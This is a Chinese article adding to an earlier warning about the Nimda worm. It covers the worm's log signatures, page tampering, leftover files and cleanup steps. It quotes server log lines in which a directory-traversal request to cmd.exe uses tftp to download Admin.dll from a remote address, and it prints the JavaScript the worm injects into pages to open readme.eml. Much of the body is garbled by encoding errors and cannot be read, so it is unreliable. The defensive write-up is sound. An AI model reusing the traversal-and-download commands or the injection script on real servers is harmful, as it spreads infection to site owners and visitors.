《谨防“尼姆达”蠕虫病毒》一文的补充
?牐牬シ绞剑宋恼滤档耐猓褂幸恢址绞绞峭ü炒ィ馐呛芏嗤巡蛔⒁獾牡胤剑彩峭绻芾碓辈蛔⒁獾牡胤健Ｒ蛭诘慊魍呈保嶙远粢桓鲂麓翱冢舜翱谥兴玫奈募褪且桓鲆杂始绞酱媾痰奈募匆詄ml为扩展名的，且这个窗口是不能够最大化的。
?牐牪《咎卣鳎宋恼陆驳耐饣褂幸韵绿卣?:
?牐?1.日志文件
?牐燝ET，/scripts/..\../winnt/system32/cmd.exe，/c+dir
?牐燝ET，/scripts/..\../winnt/system32/cmd.exe，/c+tftp -i IP地址 GET Admin.dll c:\Admin.dll
?牐燝ET，/scripts/..\../winnt/system32/cmd.exe，/c+tftp -i IP地址 GET Admin.dll d:\Admin.dll
?牐燝ET，/scripts/..\../winnt/system32/cmd.exe，/c+tftp -i IP地址 GET Admin.dll e:\Admin.dll
?牐牶芗虻ィ诱饧感锌矗绻辛苏飧霾《荆突嵩谟才谭智拿扛龈柯贾杏蠥dmin.dll。
?牐?2.网站被修改
?牐犎绻慊魍臼保鱿植荒茏畲蠡拇翱谇沂俏薹ㄏ允净蛭蘅上允镜囊趁媸保偷昧粢饬耍话恪澳崮反铩比涑娌《救绻腥镜氖欠衿鳎嵴业狡舳囊趁妫行薷模谧詈笤黾右韵滦?:<html><script language="JavaScript"window.open（"readme.eml"，null，"resizable=no，top=6000，left=6000"）</script></html>。这样，只要你点击修改后的页面，病毒就会自动传染给你了。
?牐?3.在硬盘上留下的文件
?牐牫薃dmin.dll（根目录下的）、Riched20.dll、readme.eml外，还在网站目录中存在*.nws和其他*.eml，像以DOS外部命令为名字.eml等。
?牐牻饩龇桨?:如果发现了病毒或怀疑中了病毒，不能按常规方式重新启动，如果不是服务器，重启动进入安全模式，是服务器则要以VGA方式启动，然后把Admin.dll和Riched20.dll删除，在常规启动方式这些文件下是不能删除的，如果用常规方式启动，会让硬盘上更多文件感染病毒。然后查找所有的*.eml和*.nws文件，如果是同一时间的文件，你立即删除掉，不管是什么文件名，大多除了readme.eml外就是DOS外部命令.eml了，如果上面的DLL没有被删除，在别人访问你的网站时就会自动把这两个DLL传送到别人的服务器上，如果readme.eml没有删除，就会被修改后的页面启动，使病毒得以传播。因此在网站目录中的eml文件，不要轻易点击，如果点击它，它就会立即消失掉，给清除带来很大困难。